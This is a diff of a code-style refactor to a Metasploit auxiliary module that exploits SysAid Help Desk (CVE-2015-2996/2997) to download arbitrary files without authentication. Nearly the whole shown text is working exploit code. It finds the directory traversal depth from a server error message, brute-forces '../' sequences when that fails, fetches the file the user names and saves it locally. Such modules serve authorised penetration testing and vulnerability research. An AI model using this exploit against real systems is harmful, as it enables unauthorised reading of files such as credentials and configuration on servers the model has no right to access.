@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Auxiliary
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
15
- 'Name' => " SysAid Help Desk Arbitrary File Download" ,
15
+ 'Name' => ' SysAid Help Desk Arbitrary File Download' ,
16
16
'Description' => %q{
17
17
This module exploits two vulnerabilities in SysAid Help Desk that allows
18
18
an unauthenticated user to download arbitrary files from the system. First an
@@ -30,10 +30,10 @@ def initialize(info={})
30
30
'License' => MSF_LICENSE ,
31
31
'References' =>
32
32
[
33
- [ 'CVE' , '2015-2996' ] ,
34
- [ 'CVE' , '2015-2997' ] ,
35
- [ 'URL' , 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ] ,
36
- [ 'URL' , 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
33
+ [ 'CVE' , '2015-2996' ] ,
34
+ [ 'CVE' , '2015-2997' ] ,
35
+ [ 'URL' , 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ] ,
36
+ [ 'URL' , 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
37
37
] ,
38
38
'DisclosureDate' => 'Jun 3 2015' ) )
39
39
@@ -45,7 +45,6 @@ def initialize(info={})
45
45
] , self . class )
46
46
end
47
47
48
-
49
48
def get_traversal_path
50
49
print_status ( "#{ peer } - Trying to find out the traversal path..." )
51
50
large_traversal = '../' * rand ( 15 ...30 )
@@ -63,21 +62,18 @@ def get_traversal_path
63
62
}
64
63
} )
65
64
66
- if res && res . code == 200
67
- if res . body . to_s =~ /\< H2\> (.*)\< \/ H2\> /
68
- error_path = $1
69
- # Error_path is something like:
70
- # /var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../ajkdnjhdfn/1421678611732.zip
71
- # This calculates how much traversal we need to do to get to the root.
72
- position = error_path . index ( large_traversal )
73
- if position != nil
74
- return "../" * ( error_path [ 0 , position ] . count ( '/' ) - 2 )
75
- end
65
+ if res && res . code == 200 && res . body . to_s =~ /\< H2\> (.*)\< \/ H2\> /
66
+ error_path = $1
67
+ # Error_path is something like:
68
+ # /var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../ajkdnjhdfn/1421678611732.zip
69
+ # This calculates how much traversal we need to do to get to the root.
70
+ position = error_path . index ( large_traversal )
71
+ unless position . nil?
72
+ return '../' * ( error_path [ 0 , position ] . count ( '/' ) - 2 )
76
73
end
77
74
end
78
75
end
79
76
80
-
81
77
def download_file ( download_path )
82
78
begin
83
79
return send_request_cgi ( {
@@ -93,40 +89,38 @@ def download_file (download_path)
93
89
end
94
90
end
95
91
96
-
97
92
def run
98
93
# No point to continue if filepath is not specified
99
94
if datastore [ 'FILEPATH' ] . nil? || datastore [ 'FILEPATH' ] . empty?
100
- print_error ( "Please supply the path of the file you want to download." )
101
- return
95
+ fail_with ( Failure ::BadConfig , 'Please supply the path of the file you want to download.' )
96
+ end
97
+
98
+ print_status ( "#{ peer } - Downloading file #{ datastore [ 'FILEPATH' ] } " )
99
+ if datastore [ 'FILEPATH' ] =~ /([A-Za-z]{1}):(\\ *)(.*)/
100
+ file_path = $3
102
101
else
103
- print_status ( "#{ peer } - Downloading file #{ datastore [ 'FILEPATH' ] } " )
104
- if datastore [ 'FILEPATH' ] =~ /([A-Za-z]{1}):(\\ *)(.*)/
105
- filepath = $3
106
- else
107
- filepath = datastore [ 'FILEPATH' ]
108
- end
102
+ file_path = datastore [ 'FILEPATH' ]
109
103
end
110
104
111
105
traversal_path = get_traversal_path
112
- if traversal_path == nil
106
+ if traversal_path . nil?
113
107
print_error ( "#{ peer } - Could not get traversal path, using bruteforce to download the file" )
114
108
count = 1
115
109
while count < 15
116
- res = download_file ( ( "../" * count ) + filepath )
117
- if res && res . code == 200
118
- if res . body . to_s . bytesize != 0
119
- break
120
- end
110
+ res = download_file ( ( '../' * count ) + file_path )
111
+ if res && res . code == 200 && res . body . to_s . bytesize != 0
112
+ break
121
113
end
122
114
count += 1
123
115
end
124
116
else
125
- res = download_file ( traversal_path [ 0 , traversal_path . length - 1 ] + filepath )
117
+ res = download_file ( traversal_path [ 0 , traversal_path . length - 1 ] + file_path )
126
118
end
127
119
128
120
if res && res . code == 200
129
- if res . body . to_s . bytesize != 0
121
+ if res . body . to_s . bytesize == 0
122
+ fail_with ( Failure ::NoAccess , "#{ peer } - 0 bytes returned, file does not exist or it is empty." )
123
+ else
130
124
vprint_line ( res . body . to_s )
131
125
fname = File . basename ( datastore [ 'FILEPATH' ] )
132
126
@@ -138,11 +132,9 @@ def run
138
132
fname
139
133
)
140
134
print_good ( "File saved in: #{ path } " )
141
- else
142
- print_error ( "#{ peer } - 0 bytes returned, file does not exist or it is empty." )
143
135
end
144
136
else
145
- print_error ( "#{ peer } - Failed to download file." )
137
+ fail_with ( Failure :: Unknown , "#{ peer } - Failed to download file." )
146
138
end
147
139
end
148
140
end
0 commit comments